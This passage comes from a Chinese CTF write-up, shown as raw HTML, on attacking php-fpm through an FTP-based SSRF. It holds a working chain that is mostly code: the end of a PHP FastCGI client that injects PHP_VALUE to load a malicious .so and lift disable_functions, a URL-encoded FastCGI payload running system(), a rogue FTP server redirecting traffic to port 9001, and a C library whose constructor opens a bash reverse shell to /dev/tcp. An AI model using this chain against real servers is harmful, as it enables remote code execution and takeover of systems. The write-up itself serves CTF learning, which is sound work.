</span></span></span><span class="line"><span class="ln">289</span><span class="cl"><span class="c1">//        } while ($resp &amp;&amp; $resp[&#39;type&#39;] != self::END_REQUEST);
</span></span></span><span class="line"><span class="ln">290</span><span class="cl"><span class="c1">//        var_dump($resp);
</span></span></span><span class="line"><span class="ln">291</span><span class="cl"><span class="c1">//        if (!is_array($resp)) {
</span></span></span><span class="line"><span class="ln">292</span><span class="cl"><span class="c1">//            throw new Exception(&#39;Bad request&#39;);
</span></span></span><span class="line"><span class="ln">293</span><span class="cl"><span class="c1">//        }
</span></span></span><span class="line"><span class="ln">294</span><span class="cl"><span class="c1">//        switch (ord($resp[&#39;content&#39;]{4})) {
</span></span></span><span class="line"><span class="ln">295</span><span class="cl"><span class="c1">//            case self::CANT_MPX_CONN:
</span></span></span><span class="line"><span class="ln">296</span><span class="cl"><span class="c1">//                throw new Exception(&#39;This app can\&#39;t multiplex [CANT_MPX_CONN]&#39;);
</span></span></span><span class="line"><span class="ln">297</span><span class="cl"><span class="c1">//                break;
</span></span></span><span class="line"><span class="ln">298</span><span class="cl"><span class="c1">//            case self::OVERLOADED:
</span></span></span><span class="line"><span class="ln">299</span><span class="cl"><span class="c1">//                throw new Exception(&#39;New request rejected; too busy [OVERLOADED]&#39;);
</span></span></span><span class="line"><span class="ln">300</span><span class="cl"><span class="c1">//                break;
</span></span></span><span class="line"><span class="ln">301</span><span class="cl"><span class="c1">//            case self::UNKNOWN_ROLE:
</span></span></span><span class="line"><span class="ln">302</span><span class="cl"><span class="c1">//                throw new Exception(&#39;Role value not known [UNKNOWN_ROLE]&#39;);
</span></span></span><span class="line"><span class="ln">303</span><span class="cl"><span class="c1">//                break;
</span></span></span><span class="line"><span class="ln">304</span><span class="cl"><span class="c1">//            case self::REQUEST_COMPLETE:
</span></span></span><span class="line"><span class="ln">305</span><span class="cl"><span class="c1">//                return $response;
</span></span></span><span class="line"><span class="ln">306</span><span class="cl"><span class="c1">//        }
</span></span></span><span class="line"><span class="ln">307</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">308</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">309</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="ln">310</span><span class="cl"><span class="err">&lt;?php
</span></span></span><span class="line"><span class="ln">311</span><span class="cl"><span class="err">// real exploit start here
</span></span></span><span class="line"><span class="ln">312</span><span class="cl"><span class="err">//if (!isset($_REQUEST[&#39;cmd&#39;])) {
</span></span></span><span class="line"><span class="ln">313</span><span class="cl"><span class="err">//    die(&#34;Check your input\n&#34;);
</span></span></span><span class="line"><span class="ln">314</span><span class="cl"><span class="err">//}
</span></span></span><span class="line"><span class="ln">315</span><span class="cl"><span class="err">//if (!isset($_REQUEST[&#39;filepath&#39;])) {
</span></span></span><span class="line"><span class="ln">316</span><span class="cl"><span class="err">//    $filepath = __FILE__;
</span></span></span><span class="line"><span class="ln">317</span><span class="cl"><span class="err">//}else{
</span></span></span><span class="line"><span class="ln">318</span><span class="cl"><span class="err">//    $filepath = $_REQUEST[&#39;filepath&#39;];
</span></span></span><span class="line"><span class="ln">319</span><span class="cl"><span class="err">//}
</span></span></span><span class="line"><span class="ln">320</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">321</span><span class="cl"><span class="err">$filepath = &#34;/var/www/html/add_api.php&#34;;
</span></span></span><span class="line"><span class="ln">322</span><span class="cl"><span class="err">$req = &#39;/&#39;.basename($filepath);
</span></span></span><span class="line"><span class="ln">323</span><span class="cl"><span class="err">$uri = $req .&#39;?&#39;.&#39;command=whoami&#39;;
</span></span></span><span class="line"><span class="ln">324</span><span class="cl"><span class="err">$client = new FCGIClient(&#34;unix:///var/run/php-fpm.sock&#34;, -1);
</span></span></span><span class="line"><span class="ln">325</span><span class="cl"><span class="err">$code = &#34;&lt;?php system(\$_REQUEST[&#39;command&#39;]); phpinfo(); ?&gt;&#34;; // php payload -- Doesnt do anything
</span></span></span><span class="line"><span class="ln">326</span><span class="cl"><span class="err">$php_value = &#34;unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = evilso.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = &#34;; // extension_dir即为.so文件所在目录
</span></span></span><span class="line"><span class="ln">327</span><span class="cl"><span class="err">$params = array(
</span></span></span><span class="line"><span class="ln">328</span><span class="cl"><span class="err">    &#39;GATEWAY_INTERFACE&#39; =&gt; &#39;FastCGI/1.0&#39;,
</span></span></span><span class="line"><span class="ln">329</span><span class="cl"><span class="err">    &#39;REQUEST_METHOD&#39;    =&gt; &#39;POST&#39;,
</span></span></span><span class="line"><span class="ln">330</span><span class="cl"><span class="err">    &#39;SCRIPT_FILENAME&#39;   =&gt; $filepath,
</span></span></span><span class="line"><span class="ln">331</span><span class="cl"><span class="err">    &#39;SCRIPT_NAME&#39;       =&gt; $req,
</span></span></span><span class="line"><span class="ln">332</span><span class="cl"><span class="err">    &#39;QUERY_STRING&#39;      =&gt; &#39;command=whoami&#39;,
</span></span></span><span class="line"><span class="ln">333</span><span class="cl"><span class="err">    &#39;REQUEST_URI&#39;       =&gt; $uri,
</span></span></span><span class="line"><span class="ln">334</span><span class="cl"><span class="err">    &#39;DOCUMENT_URI&#39;      =&gt; $req,
</span></span></span><span class="line"><span class="ln">335</span><span class="cl"><span class="err">#&#39;DOCUMENT_ROOT&#39;     =&gt; &#39;/&#39;,
</span></span></span><span class="line"><span class="ln">336</span><span class="cl"><span class="err">    &#39;PHP_VALUE&#39;         =&gt; $php_value,
</span></span></span><span class="line"><span class="ln">337</span><span class="cl"><span class="err">    &#39;SERVER_SOFTWARE&#39;   =&gt; &#39;ctfking/Tajang&#39;,
</span></span></span><span class="line"><span class="ln">338</span><span class="cl"><span class="err">    &#39;REMOTE_ADDR&#39;       =&gt; &#39;127.0.0.1&#39;,
</span></span></span><span class="line"><span class="ln">339</span><span class="cl"><span class="err">    &#39;REMOTE_PORT&#39;       =&gt; &#39;9001&#39;, // 找准服务端口
</span></span></span><span class="line"><span class="ln">340</span><span class="cl"><span class="err">    &#39;SERVER_ADDR&#39;       =&gt; &#39;127.0.0.1&#39;,
</span></span></span><span class="line"><span class="ln">341</span><span class="cl"><span class="err">    &#39;SERVER_PORT&#39;       =&gt; &#39;80&#39;,
</span></span></span><span class="line"><span class="ln">342</span><span class="cl"><span class="err">    &#39;SERVER_NAME&#39;       =&gt; &#39;localhost&#39;,
</span></span></span><span class="line"><span class="ln">343</span><span class="cl"><span class="err">    &#39;SERVER_PROTOCOL&#39;   =&gt; &#39;HTTP/1.1&#39;,
</span></span></span><span class="line"><span class="ln">344</span><span class="cl"><span class="err">    &#39;CONTENT_LENGTH&#39;    =&gt; strlen($code)
</span></span></span><span class="line"><span class="ln">345</span><span class="cl"><span class="err">);
</span></span></span><span class="line"><span class="ln">346</span><span class="cl"><span class="err">// print_r($_REQUEST);
</span></span></span><span class="line"><span class="ln">347</span><span class="cl"><span class="err">// print_r($params);
</span></span></span><span class="line"><span class="ln">348</span><span class="cl"><span class="err">//echo &#34;Call: $uri\n\n&#34;;
</span></span></span><span class="line"><span class="ln">349</span><span class="cl"><span class="err">echo $client-&gt;request($params, $code).&#34;\n&#34;;
</span></span></span><span class="line"><span class="ln">350</span><span class="cl"><span class="err">?&gt;
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>运行此文件，此文件输出的payload即我们攻击的关键</p>
<p>payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">?file<span class="o">=</span>ftp://ip:9999/<span class="p">&amp;</span><span class="nv">data</span><span class="o">=</span>%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BBPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evilso.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0ESERVER_SOFTWAREctfking%2FTajang%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="7运行恶意ftp服务">7、运行恶意FTP服务<a class="anchor" href="#7运行恶意ftp服务">#</a></h4>
<p>在公网VPS上运行以下代码，注意云服务器需要打开防火墙里的端口，并且在有服务使用端口时才会开放端口，其他时候默认关闭</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> 
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">bind</span><span class="p">((</span><span class="s1">&#39;0.0.0.0&#39;</span><span class="p">,</span> <span class="mi">9999</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">accept</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;220 welcome</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1">#Service ready for new user.</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1">#Client send anonymous username</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1">#USER anonymous</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;331 Please specify the password.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1">#User name okay, need password.</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1">#Client send anonymous password.</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1">#PASS anonymous</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;230 Login successful.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1">#User logged in, proceed. Logged out if appropriate.</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="c1">#TYPE I</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;200 Switching to Binary mode.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="c1">#Size /</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;550 Could not get the file size.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="c1">#EPSV (1)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;150 ok</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="c1">#PASV</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;227 Entering Extended Passive Mode (127,0,0,1,0,9001)</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span> <span class="c1">#STOR / (2) 注意打到9001端口的服务</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;150 Permission denied.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="c1">#QUIT</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;221 Goodbye.</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这个恶意ftp服务就是使用9999端口</p>
<h4 id="8给我打">8、给我打<a class="anchor" href="#8给我打">#</a></h4>
<p><img
  src="/7662b2/one_pointer_php_9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1897" height="784"
/>
</p>
<p>蓝色是我VPS IP打码了，我们看到输出的最后返回了int(681)，这就是dump出的数据包大小，这个时候就已经打通了，还记得编写so拓展时，把<code>ls /</code>输出到look文件吗？访问look文件，下载后，打开里面也会有根目录的文件，但是你再编写一个语句为<code>cat /flag</code>的so，还是没有flag的，因为权限不够</p>
<h4 id="9提权">9、提权<a class="anchor" href="#9提权">#</a></h4>
<p>既然可以执行恶意so文件，那我们写一个反弹shell的so就好</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#define _GNU_SOURCE
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nf">__attribute__</span> <span class="p">((</span><span class="n">__constructor__</span><span class="p">))</span> <span class="kt">void</span> <span class="nf">preload</span> <span class="p">(</span><span class="kt">void</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;bash -c &#39;bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1&#39;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
